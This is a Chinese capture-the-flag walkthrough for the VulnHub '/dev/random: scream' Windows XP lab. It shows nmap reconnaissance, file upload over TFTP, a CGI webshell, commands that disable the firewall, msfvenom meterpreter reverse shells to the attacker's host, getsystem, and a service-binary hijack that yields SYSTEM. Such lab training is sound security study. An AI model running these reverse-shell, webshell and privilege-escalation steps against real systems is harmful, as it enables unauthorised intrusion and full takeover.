一、介绍
运行环境:Virtualbox(攻击机)和VMware(靶机)
攻击机:kali(192.168.56.101)
靶机:/dev/random: scream(192.168.56.110)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/devrandom-scream,47/
靶机下载到的是一个exe文件,靶机作者制作靶机时采用的方式为使用ISO镜像修改程序将漏洞写入操作系统安装镜像,因此我们需要自行准备Windows XP
操作系统的安装文件并使用镜像修改工具制作安装光盘。
首先下载Windows XP
操作系统的安装光盘,要求如下:
- 32位操作系统
- Windows XP Home/Professional Editon
- Service Pack 2/3
下载好Windows XP
操作系统,打开scream.exe
点击Source
区块内文本输入框旁边的光盘按钮,选中Windows XP
的安装光盘,随后将压缩包内key.txt
的激活码填入Product Key
内的文本输入框,点击Generate Image
按钮,即可生成镜像文件。
镜像文件生成后,按照正常的步骤在虚拟机软件中添加Windows XP
虚拟机即可。制作好的镜像无需进行手动操作即可自动安装。
这里有大佬已经配置好的虚拟机镜像:https://pan.baidu.com/s/13N52UQs3b6NUBFqZ1tok7w?pwd=p4y9
(发现自己制作的镜像80端口没开放,而网上配置好的镜像会开放80端口,我这里使用上面链接下载的镜像)
二、信息收集
使用nmap主机发现靶机ip:192.168.56.111
使用nmap端口扫描发现靶机开放端口:21、22、23、80
nmap -A 192.168.56.111 -p 1-65535
21端口:根据nmap的扫描结果,ftp存在匿名登录。在Kali Linux中打开系统自带的 Thuner
文件管理器,在地址栏输入ftp://192.168.2.142
,随后在弹出的窗口中选择匿名连接并点击确定,即可连接靶机的FTP服务:
查看靶机各个目录的文件,/root/
目录可能是web网站的根目录
22端口:根据nmap扫描结果ssh的banner信息为:WeOnlyDo sshd 2.1.3
23端口:什么信息都没有发现
80端口:打开网站未发现什么功能点,查看源码也没有发现什么隐藏信息
使用dirsearch目录爆破,也没有发现什么东西
使用searchsploit搜索sshd 2.1.3的历史漏洞,发现远程身份验证绕过漏洞:CVE-2012-6066
使用msfconsole进行漏洞利用
msfconsole
use exploit/windows/ssh/freesshd_authbypass
set rhosts 192.168.56.111
set LHOST 192.168.56.101
run
漏洞利用失败,看报错应该是ssh链接的问题,靶机的ssh版本太低了
攻击机连接靶机的ssh失败,需要添加-oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -oCiphers=+3des-cbc
ssh -l root 192.168.56.111 -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -oCiphers=+3des-cbc
后面参考了一下网上的wp,靶机还开放了UDP端口,nmap扫描默认是TCP扫描,扫描不出来UDP端口
使用参数-sU
进行UDP扫描,发现端口:69
nmap -sU 192.168.56.111 -p 1-65535
69端口:tftp服务,可以尝试上传文件到靶机
tftp 192.168.56.111
put a.txt
没有提示是否上传成功,我们匿名登录ftp,发现a.txt上传成功
三、漏洞利用
使用TFTP上传一句话木马试试,浏览器访问发现服务器无法解析php
根据之前ftp看到的,网站有一个/cgi-bin/
目录用来存放gui程序,我们可以上传一个GUI后门文件:https://github.com/rafalrusin/web-shell
put cgiwebshell.pl cgi-bin/cgi_webshell.pl
浏览器访问密码为yourpassword:http://192.168.56.111/cgi-bin/cgi_webshell.pl?password=yourpassword
执行dir命令
四、提权
使用ping命令探测,发现靶机可能开了防火墙
ping 192.168.56.111 -c 10
使用命令查看防火墙是否开启
netsh firewall show state
将防火墙关闭
net stop sharedaccess
再次ping测试,防火墙被成功关闭
使用msfvenom
生成木马进行远程控制靶机
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.101 lport=4444 -f exe -o shell.exe
使用tftp将木马上传到靶机
tftp 192.168.56.111
put shell.exe cgi-bin/reverse_shell.exe
攻击机使用msfconsole进行监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
exploit
使用webshell启动上传的木马文件,发现启动失败
reverse_shell.exe
后面发现使用TFTP
上传可执行文件,必须将传输模式切换为binary
,否则TFTP会上传纯文本,重新上传shell
tftp 192.168.56.111
binary
put shell.exe cgi-bin/shell.exe
使用webshell启动上传的木马文件,链接成功
shell.exe
查看当前的权限,为普通用户权限
1、getsystem提权
getsystem提权原理:
1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
2.创建一个进程,并让进程创建命名管道。
3.让之前的以system权限启动的程序启动并连接这个命名管道。
4.利用ImpersonateNamedPipeClient()函数生成system权限的token。
5.利用system权限的token启动cmd.exe。
参考:msf的getsystem命令原理与windows命名管道_msf getsystem-CSDN博客
执行getsystem
命令,直接得到system权限
2、内核漏洞提权(失败)
查看操作系统信息:systeminfo
将得到的信息保存到systeminfo.txt,使用windows-exploit-suggester对比补丁信息,来查看靶机存在哪些漏洞
python2 windows-exploit-suggester.py --database 2024-04-01-mssb.xls --systeminfo systeminfo.txt
存在ms13_053漏洞,在msf搜索对应的模块
search ms13_053
使用改模块进行提权,提权失败
use exploit/windows/local/ms13_053_schlamperei
set SESSION 5
set LHOST 192.168.56.101
exploit
不清楚是什么原因,尝试过其他漏洞也是这种情况
3、服务劫持提权
使用命令列出系统进程列表
tasklist /V
发现下面三个服务存在NT AUTHORITY\SYSTEM
权限
FileZilla server.exe
FreeSSHDService.exe
OpenTFTPServerMT.exe
可以尝试替换服务程序来进行提权限
使用net start
命令看看系统正在运行的服务列表
高权限进程对应系统服务列表
进程 | 服务 |
---|---|
FreeSSHDService.exe | FreeSSHDService |
OpenTFTPServerMT.exe | Open TFTP Server, MultiThreaded |
FileZilla server.exe | FileZilla Server FTP server |
我们选择ftp服务进行提权
使用命令查询FTP
服务状态:
sc query "FileZilla Server FTP server"
查询失败,直接试试停止该服务:
net stop "FileZilla Server FTP server"
寻找FileZilla server.exe
的绝对路径,为:C:\Program Files\FileZilla Server\FileZilla server.exe
cd C:\
dir /s | findstr "FileZilla server.exe"
生成新的木马并上传
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.101 lport=8888 -f exe -o shell2.exe
tftp 192.168.56.111
binary
put shell2.exe
替换FTP程序文件名,劫持的ftp服务
cd C:\www\root
move ".\shell2.exe" "C:\Program Files\FileZilla Server\shell2.exe"
cd "C:\Program Files\FileZilla Server\"
move "FileZilla server.exe" "FileZilla server.exe.backup"
move ".\shell2.exe" "FileZilla server.exe"
攻击机进行监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 8888
exploit
重新启动服务
net start "FileZilla Server FTP server"
得到NT AUTHORITY\SYSTEM
权限
参考链接:https://juejin.cn/post/7299050263745953833